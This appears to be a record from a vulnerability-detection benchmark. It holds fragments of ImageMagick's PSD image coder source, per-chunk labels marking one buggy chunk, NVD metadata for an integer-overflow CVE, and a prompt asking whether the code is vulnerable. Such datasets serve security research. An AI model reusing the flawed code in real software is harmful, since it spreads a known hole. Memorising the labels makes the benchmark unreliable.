WriteBlobMSBShort(image,(unsigned short) (image->storage_class ==\n PseudoClass ? 8 : image->depth > 8 ? 16 : 8));", " if (((image_info->colorspace != UndefinedColorspace) ||\n (image->colorspace != CMYKColorspace)) &&\n (image_info->colorspace != CMYKColorspace))\n {\n (void) TransformImageColorspace(image,sRGBColorspace,exception);\n (void) WriteBlobMSBShort(image,(unsigned short)\n (image->storage_class == PseudoClass ? IndexedMode : RGBMode));\n }\n else\n {\n if (image->colorspace != CMYKColorspace)\n (void) TransformImageColorspace(image,CMYKColorspace,exception);\n (void) WriteBlobMSBShort(image,CMYKMode);\n }\n }\n if ((IsImageGray(image) != MagickFalse) ||\n (image->storage_class == DirectClass) || (image->colors > 256))\n (void) WriteBlobMSBLong(image,0);\n else\n {\n /*\n Write PSD raster colormap.\n */\n (void) WriteBlobMSBLong(image,768);\n for (i=0; i < (ssize_t) image->colors; i++)\n (void) WriteBlobByte(image,ScaleQuantumToChar(ClampToQuantum(\n image->colormap[i].red)));\n for ( ; i < 256; i++)\n (void) WriteBlobByte(image,0);\n for (i=0; i < (ssize_t) image->colors; i++)\n (void) WriteBlobByte(image,ScaleQuantumToChar(ClampToQuantum(\n image->colormap[i].green)));\n for ( ; i < 256; i++)\n (void) WriteBlobByte(image,0);\n for (i=0; i < (ssize_t) image->colors; i++)\n (void) WriteBlobByte(image,ScaleQuantumToChar(ClampToQuantum(\n image->colormap[i].blue)));\n for ( ; i < 256; i++)\n (void) WriteBlobByte(image,0);\n }\n /*\n Image resource block.\n */\n length=28; /* 0x03EB */\n bim_profile=(StringInfo *) GetImageProfile(image,\"8bim\");\n icc_profile=GetImageProfile(image,\"icc\");\n if (bim_profile != (StringInfo *) NULL)\n {\n bim_profile=CloneStringInfo(bim_profile);\n if (icc_profile != (StringInfo *) NULL)\n RemoveICCProfileFromResourceBlock(bim_profile);\n RemoveResolutionFromResourceBlock(bim_profile);\n length+=PSDQuantum(GetStringInfoLength(bim_profile));\n }\n if (icc_profile != (const StringInfo *) NULL)\n length+=PSDQuantum(GetStringInfoLength(icc_profile))+12;\n (void) WriteBlobMSBLong(image,(unsigned int) length);\n WriteResolutionResourceBlock(image);\n if (bim_profile != (StringInfo *) NULL)\n {\n (void) WriteBlob(image,GetStringInfoLength(bim_profile),\n GetStringInfoDatum(bim_profile));\n bim_profile=DestroyStringInfo(bim_profile);\n }\n if (icc_profile != (StringInfo *) NULL)\n {\n (void) WriteBlob(image,4,(const unsigned char *) \"8BIM\");\n (void) WriteBlobMSBShort(image,0x0000040F);\n (void) WriteBlobMSBShort(image,0);\n (void) WriteBlobMSBLong(image,(unsigned int) GetStringInfoLength(\n icc_profile));\n (void) WriteBlob(image,GetStringInfoLength(icc_profile),\n GetStringInfoDatum(icc_profile));\n if ((ssize_t) GetStringInfoLength(icc_profile) != PSDQuantum(GetStringInfoLength(icc_profile)))\n (void) WriteBlobByte(image,0);\n }\n if (status != MagickFalse)\n {\n const char\n *option;", " CompressionType\n compression;", " MagickOffsetType\n size_offset;", " size_t\n size;", " size_offset=TellBlob(image);\n (void) SetPSDSize(&psd_info,image,0);\n option=GetImageOption(image_info,\"psd:write-layers\");\n if (IsStringFalse(option) != MagickTrue)\n {\n status=WritePSDLayersInternal(image,image_info,&psd_info,&size,\n exception);\n (void) WritePSDSize(&psd_info,image,size+\n (psd_info.version == 1 ? 8 : 12),size_offset);\n (void) WriteBlobMSBLong(image,0); /* user mask data */\n }\n /*\n Write composite image.\n */\n compression=image->compression;\n if (image_info->compression != UndefinedCompression)\n image->compression=image_info->compression;\n if (image->compression == ZipCompression)\n image->compression=RLECompression;\n if (WritePSDChannels(&psd_info,image_info,image,image,0,MagickFalse,\n exception) == 0)\n status=MagickFalse;\n image->compression=compression;\n }\n (void) CloseBlob(image);\n return(status);\n}" ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
PreciseBugs
{"buggy_code_end_loc": [1031], "buggy_code_start_loc": [1030], "filenames": ["coders/psd.c"], "fixing_code_end_loc": [1031], "fixing_code_start_loc": [1030], "message": "A vulnerability was found in ImageMagick, causing an outside the range of representable values of type 'unsigned char' at coders/psd.c, when crafted or untrusted input is processed. This leads to a negative impact to application availability or other problems related to undefined behavior.", "other": {"cve": {"cisaActionDue": null, "cisaExploitAdd": null, "cisaRequiredAction": null, "cisaVulnerabilityName": null, "configurations": [{"nodes": [{"cpeMatch": [{"criteria": "cpe:2.3:a:imagemagick:imagemagick:*:*:*:*:*:*:*:*", "matchCriteriaId": "3AFC7A4D-C722-4132-931A-FD310019F685", "versionEndExcluding": "6.9.12-43", "versionEndIncluding": null, "versionStartExcluding": null, "versionStartIncluding": null, "vulnerable": true}, {"criteria": "cpe:2.3:a:imagemagick:imagemagick:*:*:*:*:*:*:*:*", "matchCriteriaId": "CF10ECD1-E700-4BEF-9A72-B5B542FE7CA0", "versionEndExcluding": "7.1.0-28", "versionEndIncluding": null, "versionStartExcluding": null, "versionStartIncluding": "7.1.0", "vulnerable": true}], "negate": false, "operator": "OR"}], "operator": null}, {"nodes": [{"cpeMatch": [{"criteria": "cpe:2.3:a:fedoraproject:extra_packages_for_enterprise_linux:8.0:*:*:*:*:*:*:*", "matchCriteriaId": "BB176AC3-3CDA-4DDA-9089-C67B2F73AA62", "versionEndExcluding": null, "versionEndIncluding": null, "versionStartExcluding": null, "versionStartIncluding": null, "vulnerable": true}, {"criteria": "cpe:2.3:o:fedoraproject:fedora:36:*:*:*:*:*:*:*", "matchCriteriaId": "5C675112-476C-4D7C-BCB9-A2FB2D0BC9FD", "versionEndExcluding": null, "versionEndIncluding": null, "versionStartExcluding": null, "versionStartIncluding": null, "vulnerable": true}, {"criteria": "cpe:2.3:o:redhat:enterprise_linux:7.0:*:*:*:*:*:*:*", "matchCriteriaId": "142AD0DD-4CF3-4D74-9442-459CE3347E3A", "versionEndExcluding": null, "versionEndIncluding": null, "versionStartExcluding": null, "versionStartIncluding": null, "vulnerable": true}], "negate": false, "operator": "OR"}], "operator": null}], "descriptions": [{"lang": "en", "value": "A vulnerability was found in ImageMagick, causing an outside the range of representable values of type 'unsigned char' at coders/psd.c, when crafted or untrusted input is processed. This leads to a negative impact to application availability or other problems related to undefined behavior."}, {"lang": "es", "value": "Se ha encontrado una vulnerabilidad en ImageMagick, que causa un fallo fuera del rango de valores representables del tipo \"unsigned char\" en el archivo coders/psd.c, cuando se procesa una entrada dise\u00f1ada o no confiable. Esto conlleva a un impacto negativo en la disponibilidad de la aplicaci\u00f3n u otros problemas relacionados con el comportamiento no definido"}], "evaluatorComment": null, "id": "CVE-2022-32545", "lastModified": "2023-05-22T02:15:11.247", "metrics": {"cvssMetricV2": [{"acInsufInfo": false, "baseSeverity": "MEDIUM", "cvssData": {"accessComplexity": "MEDIUM", "accessVector": "NETWORK", "authentication": "NONE", "availabilityImpact": "PARTIAL", "baseScore": 6.8, "confidentialityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "vectorString": "AV:N/AC:M/Au:N/C:P/I:P/A:P", "version": "2.0"}, "exploitabilityScore": 8.6, "impactScore": 6.4, "obtainAllPrivilege": false, "obtainOtherPrivilege": false, "obtainUserPrivilege": false, "source": "nvd@nist.gov", "type": "Primary", "userInteractionRequired": true}], "cvssMetricV30": null, "cvssMetricV31": [{"cvssData": {"attackComplexity": "LOW", "attackVector": "LOCAL", "availabilityImpact": "HIGH", "baseScore": 7.8, "baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "scope": "UNCHANGED", "userInteraction": "REQUIRED", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "version": "3.1"}, "exploitabilityScore": 1.8, "impactScore": 5.9, "source": "nvd@nist.gov", "type": "Primary"}]}, "published": "2022-06-16T18:15:10.873", "references": [{"source": "secalert@redhat.com", "tags": ["Issue Tracking", "Patch", "Third Party Advisory"], "url": "https://bugzilla.redhat.com/show_bug.cgi?id=2091811"}, {"source": "secalert@redhat.com", "tags": ["Patch", "Third Party Advisory"], "url": "https://github.com/ImageMagick/ImageMagick/commit/9c9a84cec4ab28ee0b57c2b9266d6fbe68183512"}, {"source": "secalert@redhat.com", "tags": ["Patch", "Third Party Advisory"], "url": "https://github.com/ImageMagick/ImageMagick6/commit/450949ed017f009b399c937cf362f0058eacc5fa"}, {"source": "secalert@redhat.com", "tags": null, "url": "https://lists.debian.org/debian-lts-announce/2023/05/msg00020.html"}], "sourceIdentifier": "secalert@redhat.com", "vendorComments": null, "vulnStatus": "Modified", "weaknesses": [{"description": [{"lang": "en", "value": "CWE-190"}], "source": "nvd@nist.gov", "type": "Primary"}, {"description": [{"lang": "en", "value": "CWE-190"}], "source": "secalert@redhat.com", "type": "Secondary"}]}, "github_commit_url": "https://github.com/ImageMagick/ImageMagick/commit/9c9a84cec4ab28ee0b57c2b9266d6fbe68183512"}, "type": "CWE-190"}
145
Determine whether the {function_name} code is vulnerable or not.
[ "/*\n%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%\n% %\n% %\n% %\n% PPPP SSSSS DDDD %\n% P P SS D D %\n% PPPP SSS D D %\n% P SS D D %\n% P SSSSS DDDD %\n% %\n% %\n% Read/Write Adobe Photoshop Image Format %\n% %\n% Software Design %\n% Cristy %\n% Leonard Rosenthol %\n% July 1992 %\n% Dirk Lemstra %\n% December 2013 %\n% %\n% %\n% Copyright @ 1999 ImageMagick Studio LLC, a non-profit organization %\n% dedicated to making software imaging solutions freely available. %\n% %\n% You may not use this file except in compliance with the License. You may %\n% obtain a copy of the License at %\n% %\n% https://imagemagick.org/script/license.php %\n% %\n% Unless required by applicable law or agreed to in writing, software %\n% distributed under the License is distributed on an \"AS IS\" BASIS, %\n% WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. %\n% See the License for the specific language governing permissions and %\n% limitations under the License. %\n% %\n%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%\n%\n% Photoshop spec @ https://www.adobe.com/devnet-apps/photoshop/fileformatashtml\n%\n*/\n\f\n/*\n Include declarations.\n*/\n#include \"MagickCore/studio.h\"\n#include \"MagickCore/artifact.h\"\n#include \"MagickCore/attribute.h\"\n#include \"MagickCore/blob.h\"\n#include \"MagickCore/blob-private.h\"\n#include \"MagickCore/cache.h\"\n#include \"MagickCore/channel.h\"\n#include \"MagickCore/colormap.h\"\n#include \"MagickCore/colormap-private.h\"\n#include \"MagickCore/colorspace.h\"\n#include \"MagickCore/colorspace-private.h\"\n#include \"MagickCore/constitute.h\"\n#include \"MagickCore/enhance.h\"\n#include \"MagickCore/exception.h\"\n#include \"MagickCore/exception-private.h\"\n#include \"MagickCore/image.h\"\n#include \"MagickCore/image-private.h\"\n#include \"MagickCore/list.h\"\n#include \"MagickCore/log.h\"\n#include \"MagickCore/magick.h\"\n#include \"MagickCore/memory_.h\"\n#include \"MagickCore/module.h\"\n#include \"MagickCore/monitor-private.h\"\n#include \"MagickCore/option.h\"\n#include \"MagickCore/pixel.h\"\n#include \"MagickCore/pixel-accessor.h\"\n#include \"MagickCore/pixel-private.h\"\n#include \"MagickCore/policy.h\"\n#include \"MagickCore/profile.h\"\n#include \"MagickCore/property.h\"\n#include \"MagickCore/registry.h\"\n#include \"MagickCore/quantum-private.h\"\n#include \"MagickCore/static.h\"\n#include \"MagickCore/string_.h\"\n#include \"MagickCore/string-private.h\"\n#include \"MagickCore/thread-private.h\"\n#include \"coders/coders-private.h\"\n#ifdef MAGICKCORE_ZLIB_DELEGATE\n#include <zlib.h>\n#endif\n#include \"psd-private.h\"", "/*\n Define declaractions.\n*/\n#define MaxPSDChannels 56\n#define PSDQuantum(x) (((ssize_t) (x)+1) & -2)\n\f\n/*\n Enumerated declaractions.\n*/\ntypedef enum\n{\n Raw = 0,\n RLE = 1,\n ZipWithoutPrediction = 2,\n ZipWithPrediction = 3\n} PSDCompressionType;", "typedef enum\n{\n BitmapMode = 0,\n GrayscaleMode = 1,\n IndexedMode = 2,\n RGBMode = 3,\n CMYKMode = 4,\n MultichannelMode = 7,\n DuotoneMode = 8,\n LabMode = 9\n} PSDImageType;\n\f\n/*\n Typedef declaractions.\n*/\ntypedef struct _ChannelInfo\n{\n MagickBooleanType\n supported;", " PixelChannel\n channel;", " size_t\n size;\n} ChannelInfo;", "typedef struct _MaskInfo\n{\n Image\n *image;", " RectangleInfo\n page;", " unsigned char\n background,\n flags;\n} MaskInfo;", "typedef struct _LayerInfo\n{\n ChannelInfo\n channel_info[MaxPSDChannels];", " char\n blendkey[4];", " Image\n *image;", " MaskInfo\n mask;", " Quantum\n opacity;", " RectangleInfo\n page;", " size_t\n offset_x,\n offset_y;", " unsigned char\n clipping,\n flags,\n name[257],\n visible;", " unsigned short\n channels;", " StringInfo\n *info;\n} LayerInfo;", "/*\n Forward declarations.\n*/\nstatic MagickBooleanType\n WritePSDImage(const ImageInfo *,Image *,ExceptionInfo *);\n\f\n/*\n%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%\n% %\n% %\n% %\n% I s P S D %\n% %\n% %\n% %\n%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%\n%\n% IsPSD()() returns MagickTrue if the image format type, identified by the\n% magick string, is PSD.\n%\n% The format of the IsPSD method is:\n%\n% MagickBooleanType IsPSD(const unsigned char *magick,const size_t length)\n%\n% A description of each parameter follows:\n%\n% o magick: compare image format pattern against these bytes.\n%\n% o length: Specifies the length of the magick string.\n%\n*/\nstatic MagickBooleanType IsPSD(const unsigned char *magick,const size_t length)\n{\n if (length < 4)\n return(MagickFalse);\n if (LocaleNCompare((const char *) magick,\"8BPS\",4) == 0)\n return(MagickTrue);\n return(MagickFalse);\n}\n\f\n/*\n%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%\n% %\n% %\n% %\n% R e a d P S D I m a g e %\n% %\n% %\n% %\n%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%\n%\n% ReadPSDImage() reads an Adobe Photoshop image file and returns it. It\n% allocates the memory necessary for the new Image structure and returns a\n% pointer to the new image.\n%\n% The format of the ReadPSDImage method is:\n%\n% Image *ReadPSDImage(image_info,ExceptionInfo *exception)\n%\n% A description of each parameter follows:\n%\n% o image_info: the image info.\n%\n% o exception: return any errors or warnings in this structure.\n%\n*/", "static const char *CompositeOperatorToPSDBlendMode(Image *image)\n{\n switch (image->compose)\n {\n case ColorBurnCompositeOp:\n return(image->endian == LSBEndian ? \"vidi\" : \"idiv\");\n case ColorDodgeCompositeOp:\n return(image->endian == LSBEndian ? \" vid\" : \"div \");\n case ColorizeCompositeOp:\n return(image->endian == LSBEndian ? \"rloc\" : \"colr\");\n case DarkenCompositeOp:\n return(image->endian == LSBEndian ? \"krad\" : \"dark\");\n case DifferenceCompositeOp:\n return(image->endian == LSBEndian ? \"ffid\" : \"diff\");\n case DissolveCompositeOp:\n return(image->endian == LSBEndian ? \"ssid\" : \"diss\");\n case ExclusionCompositeOp:\n return(image->endian == LSBEndian ? \"dums\" : \"smud\");\n case HardLightCompositeOp:\n return(image->endian == LSBEndian ? \"tiLh\" : \"hLit\");\n case HardMixCompositeOp:\n return(image->endian == LSBEndian ? \"xiMh\" : \"hMix\");\n case HueCompositeOp:\n return(image->endian == LSBEndian ? \" euh\" : \"hue \");\n case LightenCompositeOp:\n return(image->endian == LSBEndian ? \"etil\" : \"lite\");\n case LinearBurnCompositeOp:\n return(image->endian == LSBEndian ? \"nrbl\" : \"lbrn\");\n case LinearDodgeCompositeOp:\n return(image->endian == LSBEndian ? \"gddl\" : \"lddg\");\n case LinearLightCompositeOp:\n return(image->endian == LSBEndian ? \"tiLl\" : \"lLit\");\n case LuminizeCompositeOp:\n return(image->endian == LSBEndian ? \" mul\" : \"lum \");\n case MultiplyCompositeOp:\n return(image->endian == LSBEndian ? \" lum\" : \"mul \");\n case OverlayCompositeOp:\n return(image->endian == LSBEndian ? \"revo\" : \"over\");\n case PinLightCompositeOp:\n return(image->endian == LSBEndian ? \"tiLp\" : \"pLit\");\n case SaturateCompositeOp:\n return(image->endian == LSBEndian ? \" tas\" : \"sat \");\n case ScreenCompositeOp:\n return(image->endian == LSBEndian ? \"nrcs\" : \"scrn\");\n case SoftLightCompositeOp:\n return(image->endian == LSBEndian ? \"tiLs\" : \"sLit\");\n case VividLightCompositeOp:\n return(image->endian == LSBEndian ? \"tiLv\" : \"vLit\");\n case OverCompositeOp:\n default:\n return(image->endian == LSBEndian ? \"mron\" : \"norm\");\n }\n}", "/*\n For some reason Photoshop seems to blend semi-transparent pixels with white.\n This method reverts the blending. This can be disabled by setting the\n option 'psd:alpha-unblend' to off.\n*/\nstatic MagickBooleanType CorrectPSDAlphaBlend(const ImageInfo *image_info,\n Image *image,ExceptionInfo* exception)\n{\n const char\n *option;", " MagickBooleanType\n status;", " ssize_t\n y;", " if ((image->alpha_trait != BlendPixelTrait) ||\n (image->colorspace != sRGBColorspace))\n return(MagickTrue);\n option=GetImageOption(image_info,\"psd:alpha-unblend\");\n if (IsStringFalse(option) != MagickFalse)\n return(MagickTrue);\n status=MagickTrue;\n#if defined(MAGICKCORE_OPENMP_SUPPORT)\n#pragma omp parallel for schedule(static) shared(status) \\\n magick_number_threads(image,image,image->rows,1)\n#endif\n for (y=0; y < (ssize_t) image->rows; y++)\n {\n Quantum\n *magick_restrict q;", " ssize_t\n x;", " if (status == MagickFalse)\n continue;\n q=GetAuthenticPixels(image,0,y,image->columns,1,exception);\n if (q == (Quantum *) NULL)\n {\n status=MagickFalse;\n continue;\n }\n for (x=0; x < (ssize_t) image->columns; x++)\n {\n double\n gamma;", " ssize_t\n i;", " gamma=QuantumScale*GetPixelAlpha(image, q);\n if (gamma != 0.0 && gamma != 1.0)\n {\n for (i=0; i < (ssize_t) GetPixelChannels(image); i++)\n {\n PixelChannel channel = GetPixelChannelChannel(image,i);\n if (channel != AlphaPixelChannel)\n q[i]=ClampToQuantum((q[i]-((1.0-gamma)*QuantumRange))/gamma);\n }\n }\n q+=GetPixelChannels(image);\n }\n if (SyncAuthenticPixels(image,exception) == MagickFalse)\n status=MagickFalse;\n }", " return(status);\n}", "static inline CompressionType ConvertPSDCompression(\n PSDCompressionType compression)\n{\n switch (compression)\n {\n case RLE:\n return RLECompression;\n case ZipWithPrediction:\n case ZipWithoutPrediction:\n return ZipCompression;\n default:\n return NoCompression;\n }\n}", "static MagickBooleanType ApplyPSDLayerOpacity(Image *image,Quantum opacity,\n MagickBooleanType revert,ExceptionInfo *exception)\n{\n MagickBooleanType\n status;", " ssize_t\n y;", " if (image->debug != MagickFalse)\n (void) LogMagickEvent(CoderEvent,GetMagickModule(),\n \" applying layer opacity %.20g\", (double) opacity);\n if (opacity == OpaqueAlpha)\n return(MagickTrue);\n if (image->alpha_trait != BlendPixelTrait)\n (void) SetImageAlphaChannel(image,OpaqueAlphaChannel,exception);\n status=MagickTrue;\n#if defined(MAGICKCORE_OPENMP_SUPPORT)\n#pragma omp parallel for schedule(static) shared(status) \\\n magick_number_threads(image,image,image->rows,1)\n#endif\n for (y=0; y < (ssize_t) image->rows; y++)\n {\n Quantum\n *magick_restrict q;", " ssize_t\n x;", " if (status == MagickFalse)\n continue;\n q=GetAuthenticPixels(image,0,y,image->columns,1,exception);\n if (q == (Quantum *) NULL)\n {\n status=MagickFalse;\n continue;\n }\n for (x=0; x < (ssize_t) image->columns; x++)\n {\n if (revert == MagickFalse)\n SetPixelAlpha(image,ClampToQuantum(QuantumScale*\n GetPixelAlpha(image,q)*opacity),q);\n else if (opacity > 0)\n SetPixelAlpha(image,ClampToQuantum((double) QuantumRange*\n GetPixelAlpha(image,q)/(MagickRealType) opacity),q);\n q+=GetPixelChannels(image);\n }\n if (SyncAuthenticPixels(image,exception) == MagickFalse)\n status=MagickFalse;\n }", " return(status);\n}", "static MagickBooleanType ApplyPSDOpacityMask(Image *image,const Image *mask,\n Quantum background,MagickBooleanType revert,ExceptionInfo *exception)\n{\n Image\n *complete_mask;", " MagickBooleanType\n status;", " PixelInfo\n color;", " ssize_t\n y;", " if (image->alpha_trait == UndefinedPixelTrait)\n return(MagickTrue);\n if (image->debug != MagickFalse)\n (void) LogMagickEvent(CoderEvent,GetMagickModule(),\n \" applying opacity mask\");\n complete_mask=CloneImage(image,0,0,MagickTrue,exception);\n if (complete_mask == (Image *) NULL)\n return(MagickFalse);\n complete_mask->alpha_trait=BlendPixelTrait;\n GetPixelInfo(complete_mask,&color);\n color.red=(MagickRealType) background;\n (void) SetImageColor(complete_mask,&color,exception);\n status=CompositeImage(complete_mask,mask,OverCompositeOp,MagickTrue,\n mask->page.x-image->page.x,mask->page.y-image->page.y,exception);\n if (status == MagickFalse)\n {\n complete_mask=DestroyImage(complete_mask);\n return(status);\n }", "#if defined(MAGICKCORE_OPENMP_SUPPORT)\n#pragma omp parallel for schedule(static) shared(status) \\\n magick_number_threads(image,image,image->rows,1)\n#endif\n for (y=0; y < (ssize_t) image->rows; y++)\n {\n Quantum\n *magick_restrict q;", " Quantum\n *p;", " ssize_t\n x;", " if (status == MagickFalse)\n continue;\n q=GetAuthenticPixels(image,0,y,image->columns,1,exception);\n p=GetAuthenticPixels(complete_mask,0,y,complete_mask->columns,1,exception);\n if ((q == (Quantum *) NULL) || (p == (Quantum *) NULL))\n {\n status=MagickFalse;\n continue;\n }\n for (x=0; x < (ssize_t) image->columns; x++)\n {\n MagickRealType\n alpha,\n intensity;", " alpha=(MagickRealType) GetPixelAlpha(image,q);\n intensity=GetPixelIntensity(complete_mask,p);\n if (revert == MagickFalse)\n SetPixelAlpha(image,ClampToQuantum(intensity*(QuantumScale*alpha)),q);\n else if (intensity > 0)\n SetPixelAlpha(image,ClampToQuantum((alpha/intensity)*QuantumRange),q);\n q+=GetPixelChannels(image);\n p+=GetPixelChannels(complete_mask);\n }\n if (SyncAuthenticPixels(image,exception) == MagickFalse)\n status=MagickFalse;\n }\n complete_mask=DestroyImage(complete_mask);\n return(status);\n}", "static void PreservePSDOpacityMask(Image *image,LayerInfo* layer_info,\n ExceptionInfo *exception)\n{\n char\n *key;", " RandomInfo\n *random_info;", " StringInfo\n *key_info;", " if (image->debug != MagickFalse)\n (void) LogMagickEvent(CoderEvent,GetMagickModule(),\n \" preserving opacity mask\");\n random_info=AcquireRandomInfo();\n key_info=GetRandomKey(random_info,2+1);\n key=(char *) GetStringInfoDatum(key_info);\n key[8]=(char) layer_info->mask.background;\n key[9]='\\0';\n layer_info->mask.image->page.x+=layer_info->page.x;\n layer_info->mask.image->page.y+=layer_info->page.y;\n (void) SetImageRegistry(ImageRegistryType,(const char *) key,\n layer_info->mask.image,exception);\n (void) SetImageArtifact(layer_info->image,\"psd:opacity-mask\",\n (const char *) key);\n key_info=DestroyStringInfo(key_info);\n random_info=DestroyRandomInfo(random_info);\n}", "static ssize_t DecodePSDPixels(const size_t number_compact_pixels,\n const unsigned char *compact_pixels,const ssize_t depth,\n const size_t number_pixels,unsigned char *pixels)\n{\n#define CheckNumberCompactPixels \\\n if (packets == 0) \\\n return(i); \\\n packets--", "#define CheckNumberPixels(count) \\\n if (((ssize_t) i + count) > (ssize_t) number_pixels) \\\n return(i); \\\n i+=count", " int\n pixel;", " ssize_t\n i,\n j;", " size_t\n length;", " ssize_t\n packets;", " packets=(ssize_t) number_compact_pixels;\n for (i=0; (packets > 1) && (i < (ssize_t) number_pixels); )\n {\n packets--;\n length=(size_t) (*compact_pixels++);\n if (length == 128)\n continue;\n if (length > 128)\n {\n length=256-length+1;\n CheckNumberCompactPixels;\n pixel=(*compact_pixels++);\n for (j=0; j < (ssize_t) length; j++)\n {\n switch (depth)\n {\n case 1:\n {\n CheckNumberPixels(8);\n *pixels++=(pixel >> 7) & 0x01 ? 0U : 255U;\n *pixels++=(pixel >> 6) & 0x01 ? 0U : 255U;\n *pixels++=(pixel >> 5) & 0x01 ? 0U : 255U;\n *pixels++=(pixel >> 4) & 0x01 ? 0U : 255U;\n *pixels++=(pixel >> 3) & 0x01 ? 0U : 255U;\n *pixels++=(pixel >> 2) & 0x01 ? 0U : 255U;\n *pixels++=(pixel >> 1) & 0x01 ? 0U : 255U;\n *pixels++=(pixel >> 0) & 0x01 ? 0U : 255U;\n break;\n }\n case 2:\n {\n CheckNumberPixels(4);\n *pixels++=(unsigned char) ((pixel >> 6) & 0x03);\n *pixels++=(unsigned char) ((pixel >> 4) & 0x03);\n *pixels++=(unsigned char) ((pixel >> 2) & 0x03);\n *pixels++=(unsigned char) ((pixel & 0x03) & 0x03);\n break;\n }\n case 4:\n {\n CheckNumberPixels(2);\n *pixels++=(unsigned char) ((pixel >> 4) & 0xff);\n *pixels++=(unsigned char) ((pixel & 0x0f) & 0xff);\n break;\n }\n default:\n {\n CheckNumberPixels(1);\n *pixels++=(unsigned char) pixel;\n break;\n }\n }\n }\n continue;\n }\n length++;\n for (j=0; j < (ssize_t) length; j++)\n {\n CheckNumberCompactPixels;\n switch (depth)\n {\n case 1:\n {\n CheckNumberPixels(8);\n *pixels++=(*compact_pixels >> 7) & 0x01 ? 0U : 255U;\n *pixels++=(*compact_pixels >> 6) & 0x01 ? 0U : 255U;\n *pixels++=(*compact_pixels >> 5) & 0x01 ? 0U : 255U;\n *pixels++=(*compact_pixels >> 4) & 0x01 ? 0U : 255U;\n *pixels++=(*compact_pixels >> 3) & 0x01 ? 0U : 255U;\n *pixels++=(*compact_pixels >> 2) & 0x01 ? 0U : 255U;\n *pixels++=(*compact_pixels >> 1) & 0x01 ? 0U : 255U;\n *pixels++=(*compact_pixels >> 0) & 0x01 ? 0U : 255U;\n break;\n }\n case 2:\n {\n CheckNumberPixels(4);\n *pixels++=(*compact_pixels >> 6) & 0x03;\n *pixels++=(*compact_pixels >> 4) & 0x03;\n *pixels++=(*compact_pixels >> 2) & 0x03;\n *pixels++=(*compact_pixels & 0x03) & 0x03;\n break;\n }\n case 4:\n {\n CheckNumberPixels(2);\n *pixels++=(*compact_pixels >> 4) & 0xff;\n *pixels++=(*compact_pixels & 0x0f) & 0xff;\n break;\n }\n default:\n {\n CheckNumberPixels(1);\n *pixels++=(*compact_pixels);\n break;\n }\n }\n compact_pixels++;\n }\n }\n return(i);\n}", "static inline LayerInfo *DestroyLayerInfo(LayerInfo *layer_info,\n const ssize_t number_layers)\n{\n ssize_t\n i;", " for (i=0; i<number_layers; i++)\n {\n if (layer_info[i].image != (Image *) NULL)\n layer_info[i].image=DestroyImage(layer_info[i].image);\n if (layer_info[i].mask.image != (Image *) NULL)\n layer_info[i].mask.image=DestroyImage(layer_info[i].mask.image);\n if (layer_info[i].info != (StringInfo *) NULL)\n layer_info[i].info=DestroyStringInfo(layer_info[i].info);\n }", " return (LayerInfo *) RelinquishMagickMemory(layer_info);\n}", "static inline size_t GetPSDPacketSize(const Image *image)\n{\n if (image->storage_class == PseudoClass)\n {\n if (image->colors > 256)\n return(2);\n }\n if (image->depth > 16)\n return(4);\n if (image->depth > 8)\n return(2);", " return(1);\n}", "static inline MagickSizeType GetPSDSize(const PSDInfo 